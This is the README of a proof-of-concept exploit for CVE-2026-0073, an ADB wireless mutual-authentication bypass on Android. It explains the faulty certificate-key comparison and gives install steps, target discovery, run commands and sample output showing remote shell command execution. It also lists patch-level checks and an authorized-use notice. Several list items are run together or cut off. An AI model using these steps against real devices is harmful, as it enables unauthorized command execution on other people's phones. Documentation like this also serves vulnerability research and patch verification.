
CVE-2026-0073 - ADB Wireless Mutual Authentication Bypass PoC
This directory contains a Python proof of concept for CVE-2026-0073.
The script is generated using AI-assisted code generation techniques.
CVE-2026-0073 is a logic issue in ADB daemon certificate verification (adbd_tls_verify_cert in auth.cpp).
The vulnerable check treats any non-zero return from EVP_PKEY_cmp(...) as a successful match.
Expected comparison result handling should be:
1 = keys match0 = keys do not matchIn vulnerable builds, negative values are treated as truthy and can incorrectly mark a certificate as authorized.
poc-cve-2026-0073.py doesThe script:
ec or ed25519).shell: with exec: fallback).cryptography packageInstall dependency:
pip install cryptography
Discover target ADB service (if needed):
adb mdns services
Run the PoC:
python3 poc-cve-2026-0073.py <target_ip> [port] [command] [key_type] [--verbose]
Arguments:
target_ip: Target Android device IP addressport: ADB port (default: 5555)command: Command to execute (default: id)key_type: ec or ed25519 (default: ec)--verbose: Enable protocol debug logsExamples:
python3 poc-cve-2026-0073.py 192.168.1.100 5555 id
python3 poc-cve-2026-0073.py 192.168.1.100 5555 whoami ec --verbose
python3 poc-cve-2026-0073.py 192.168.1.100 5555 getprop ed25519
[*] Opening service: 'shell:id'
[*] After OPEN, received: OKAY arg0=2 data=b''
[+] Stream open (local_id=1, remote_id=2)
[+] Command output:
----------------------------------------
uid=2000(shell) gid=2000(shell) ...
----------------------------------------
[+] Exploitation successful.
Connection refused
certificate_unknown
Timeout waiting for responses
--verbose for packet-level traces.Base OS security patch level and Mainline module patching can differ. A device can show an older monthly SPL while receiving newer ADB module fixes.
Useful checks:
adb shell getprop ro.build.version.security_patch
adb shell pm list packages --apex-only | grep adbd
adb shell dumpsys package com.google.android.adbd | grep -E "versionCode|versionName|lastUpdateTime"
Use this PoC only in authorized environments (owned lab devices, explicit permission, or sanctioned testing). Do not run this against systems you do not own or do not have written authorization to test.
daemon/auth.cpp)